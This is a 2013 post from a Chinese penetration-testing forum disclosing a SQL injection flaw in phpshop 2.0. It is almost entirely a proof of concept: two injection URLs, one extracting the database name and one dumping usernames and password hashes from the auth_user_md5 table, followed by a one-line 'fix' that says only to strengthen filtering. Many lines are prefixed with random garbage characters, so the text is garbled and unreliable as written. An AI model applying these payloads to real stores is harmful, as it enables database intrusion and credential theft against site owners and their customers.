中国网络渗透测试联盟

标题: phpshop 2.0 SQL注入及修复 [打印本页]

---

作者: admin    时间: 2013-1-18 18:24
标题: phpshop 2.0 SQL注入及修复
标题 : phpshop 2.0 SQL Injection Vulnerability

" [, X, n* }( E' @$ F3 [, T作者 : By onestree
1 V1 t: q6 x) K* K下载地址 : http://code.google.com/p/phpshop/downloads/list
测试地址: windows 7 / ubuntu

' g% T& h) x8 B6 ?
SQLi p0c:
& ?* Q! n; H; r/ N# z5 a
0 _; B2 t+ ?7 X) i==================
2 [4 R% C$ F' K- n. T& n7 S) C
4 S( z* w5 R( b) [7 y0 Fhttp://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
7 S: K$ `' v" N/ v: T( kunion select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --

* {# N' J! k* L7 L- w7 Q6 d$ chttp://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--

6 E7 y$ X0 Z" e. g修复：
" ^; }5 K8 e* j9 A加强过滤
) t( n! T4 ]. P) u3 M​

---

欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)

Powered by Discuz! X3.2